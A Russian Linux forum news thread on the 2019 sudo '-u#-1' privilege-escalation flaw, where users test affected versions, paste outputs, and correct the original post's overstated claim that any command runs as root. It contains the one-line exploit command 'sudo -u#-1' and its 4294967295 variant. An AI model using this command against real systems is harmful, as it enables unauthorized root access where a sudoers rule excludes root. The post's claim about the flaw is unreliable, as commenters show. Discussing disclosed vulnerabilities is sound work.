LINUX.ORG.RU

Уязвимость в sudo

 , ,


4

2

Ошибка в sudo позволяет выполнить от пользователя root любой исполняемый файл, если в /etc/sudoers разрешено его выполнение от других пользователей и запрещено для root.

Эксплуатация ошибки очень простая:

sudo -u#-1 id -u <command>

или:

sudo -u#4294967295 id -u <command>

Ошибка присутствует во всех версиях sudo до 1.8.28

Подробности:

https://thehackernews.com/2019/10/linux-sudo-run-as-root-flaw.html

https://www.sudo.ws/alerts/minus_1_uid.html

>>> Подробности

★★

Проверено: alexferman ()
Последнее исправление: cetjs2 (всего исправлений: 4)

Дубль.

anonymous
()

ох$#ть

UPDATE:

sudo -u#-1 id -u bash
запрашивает пароль
$ sudo --version
Sudo версия 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27

r0ck3r ★★★★★
()
Последнее исправление: r0ck3r (всего исправлений: 1)

Операционная Система Специального Назначения «Астра Линукс Смоленск», версия 1.5

admin@astra:~$ sudo -u#4294967295 id -u whoami
[sudo] password for admin: 
Sorry, user admin is not allowed to execute '/usr/bin/id -u whoami' as #4294967295 on astra.

admin@astra:~$ apt-cache policy sudo
sudo:
  Установлен: 1.8.5p2-1+nmu3+deb7u1
  Кандидат:   1.8.5p2-1+nmu3+deb7u1
  Таблица версий:
 *** 1.8.5p2-1+nmu3+deb7u1 0

вот вы смеётесь над отечественными дистрибутивами (с)(тм), а там такой дыры нет! :))

aol ★★★★★
()
Ответ на: комментарий от r0ck3r

На Cent OS 7:

[r0ck3r@ssedu ~]$ sudo -u#4294967295 id -u reboot
[sudo] пароль для r0ck3r: 
в ребут не уходит

$ sudo --version
Sudo версия 1.8.23
r0ck3r ★★★★★
()
sudo -u#-1 id -u bash
sudo: неизвестный пользователь: #-1
sudo: не удаётся инициализировать модуль политики
Sudo версия 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

Kubuntu 18.04.3
У кого работает уязвимость, отзовитесь! А то выходит никого взломать нельзя.

OpenMind ★★★★
()

Ну и решето!

Пора на Rust переписать

anonymous
()

Кому привет передавать? Как обычно C с его удобными приведениями типов?

anonymous
()

позволяет выполнить от пользователя root любой исполняемый файл

Это, мягко говоря, неверно. Ты каким органом оригиналы читал?

zabbal ★★★★★
()
Ответ на: комментарий от r0ck3r

Если ты на дебыче, то там версия не поменяется, будет приписка deb10u1, если чекать по пакетнику.

anonymous
()
Ответ на: комментарий от zabbal

Это, мягко говоря, неверно. Ты каким органом оригиналы читал?
Проверено: alexferman (16.10.19 10:38:19)

Что в этом удивительного?

crutch_master ★★★★★
()
Ответ на: комментарий от OpenMind

У кого работает уязвимость, отзовитесь!

Работает у всех, у кого уязвимая версия sudo.

А то выходит никого взломать нельзя.

Можно, только используя настоящую уязвимость в sudo, а не тот лютый бред, что придумал автор новости.

Модераторы - надо либо править этот срам в адекватный перевод, либо сносить нахрен. Это же публичное позорище!

Причём судя по комментам оригинальную новость никто даже не попытался прочитать.

zabbal ★★★★★
()

Допустим, администратор создал на сервере mybox пользователя sudo с именем bob, добавив в конфигурационный файл строку mybox bob = (ALL, !root) /usr/bin/vi. По идее, это даст пользователю bob возможность запускать текстовый редактор Vi с привилегиями любого пользователя за исключением суперпользователя. Однако, если bob запустит команду sudo -u#-1 vi, то сможет запускать Vi с привилегиями суперпользователя.

Подробнее: https://www.securitylab.ru/news/501759.php

p01ymer
()
Ответ на: комментарий от OpenMind

Там где обновляются регулярно уязвимость уже закрыта. Несколько дней назад обновы везде прилетели. Да и с новостью лор опоздал дня на три.
Вот так выглядит на непатченной бубунте:
~$ sudo -u#-1 whoami
root

imul ★★★★★
()
Ответ на: комментарий от p01ymer

а, ну это коренным образом меняет суть происходящего и количество уязвимых машин меньше раз в сто, если не больше, так как большинство используют sudo именно для повышения прав до root

r0ck3r ★★★★★
()
Ответ на: комментарий от aol

вот вы смеётесь над отечественными дистрибутивами (с)(тм), а там такой дыры нет!

Разумеется есть - дыра ведь в sudo, а не в дистрибутиве. Просто чтобы ей воспользоваться нужно читать оригинал новости, а не ламерские фантазии на тему, которые зачем-то подтвердили в качестве новости.

zabbal ★★★★★
()
Ответ на: комментарий от r0ck3r

Возможно. У меня негде посмотреть для сентоса — везде обновлено. А вот бубунта есть, в ней я и показал.

imul ★★★★★
()
Ответ на: комментарий от imul

я вчера в 8 утра получил апдейт. Просто тогда получается то уязвимость не работает в большинстве дистрибутивов, разве что специально не обновлённый держать.

OpenMind ★★★★
()
Ответ на: комментарий от OpenMind

Да, вот там же после апдейта:
~$ sudo -u#-1 bash
sudo: unknown user: #-1
sudo: unable to initialize policy plugin

Теперь стоит версия 1.8.21p2-3ubuntu1.1

imul ★★★★★
()
Ответ на: комментарий от imul

но оно не даёт использовать sudo без пароля или ещё как. В чём уязвимость?

OpenMind ★★★★
()
Ответ на: комментарий от crutch_master
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
OpenMind ★★★★
()

Переполнение инта? Серьёзно?

Sudo версия 1.8.27 Sudoers policy plugin version 1.8.27 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.27 4.2 Не работает. Linux gnu 5.2.0-2-amd64 #1 SMP Debian 5.2.9-2 (2019-08-21) x86_64 GNU/Linux

LINUX-ORG-RU ★★★★★
()

i lold so hard

надо обязательно откатиться

anonymous
()
Ответ на: комментарий от crutch_master

Ну так оно и на sudo whoami выдаст root

Ты разницу между sudo whoami и sudo -u#-1 whoami знаешь?
Вот выдача неуязвимой версии:
~$ sudo -u#-1 whoami
sudo: unknown user: #-1
sudo: unable to initialize policy plugin
У меня нет пользователя с id=-1
Тем не менее уязвимой версии это не мешало выполнить whoami с правами root при указании -u#-1

-u user, --user=user
Run the command as a user other than the default target user (usually root). The user may be either a user name or a numeric user ID (UID) prefixed with the ‘#’ character (e.g. #0 for UID 0). When running commands as a UID, many shells require that the ‘#’ be escaped with a backslash (‘\’). Some security policies may restrict UIDs to those listed in the password data‐base. The sudoers policy allows UIDs that are not in the password database as long as the targetpw option is not set. Other security policies may not support this.

imul ★★★★★
()
Ответ на: комментарий от Dimarius

в sudoers иначе дыра не работает ))) Что за бред?

Ну вот такая вот дыра - обход ограничения !root. Cлучай очень редко используемый, потому только сейчас и нашли.

zabbal ★★★★★
()
Ответ на: комментарий от KillTheCat

на других нет (sudo: unknown user: #-1). WTF?

Смотри полную версию sudo.
Уязвима 1.8.21p2-3ubuntu1, а 1.8.21p2-3ubuntu1.1 уже нет.

imul ★★★★★
()
Ответ на: комментарий от KillTheCat

Да, что-то я тупанул. Имел в виду полную версию пакета.

imul ★★★★★
()

и это «мини-новость»?!! под что планируется «новость» и «макси»? (типа лину-капетць?!) :о) просто страшно подумать

п.с. подтверждаю :о(

sudo-1.8.20p2-i486-1_slack14.1 - подвержена хаку

sunjob ★★★★
()
Последнее исправление: sunjob (всего исправлений: 2)
Ответ на: комментарий от OpenMind

Оно почти никого не касается из обычных линуксоидов. У них десктоп, один пользователь, которому sudo нужно чтобы становиться рутом.

В данном случае уязвимость когда sudo используется чтобы пользователь A мог становиться пользователем B, не root. Такой конфиг можно написать.

Так вот, он может становиться root.

Представь что ты не просто добавляешь себя в группу docker, а говоришь, «через sudo я могу временно становиться docker». А тут сюрприз, ты еще можешь становиться root

Короче все у кого

ALL=(ALL) ALL

могут спать спокойно, у вас уже все хуже чем с этой уязвимостью, с любой версией sudo

vertexua ★★★★★
()
Последнее исправление: vertexua (всего исправлений: 2)
Ответ на: комментарий от imul

Юзер, которому можно делать sudo получает рут. Юзер, который не может сделать через обычное sudo без -u#-1 рут не получает. Создал юзера test - не работает. Добавил строчку в sudores - не работает.

crutch_master ★★★★★
()
Ответ на: комментарий от perl5_guy

всё прогрессивное человечество Slackware ставит на сервера

Вот это мини-новость так мини новость =)
Не поделишься табличкой с прогрессорами?
название_компании, вид_деятельности, доля_рынка

af5 ★★★★★
()
Последнее исправление: af5 (всего исправлений: 1)
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.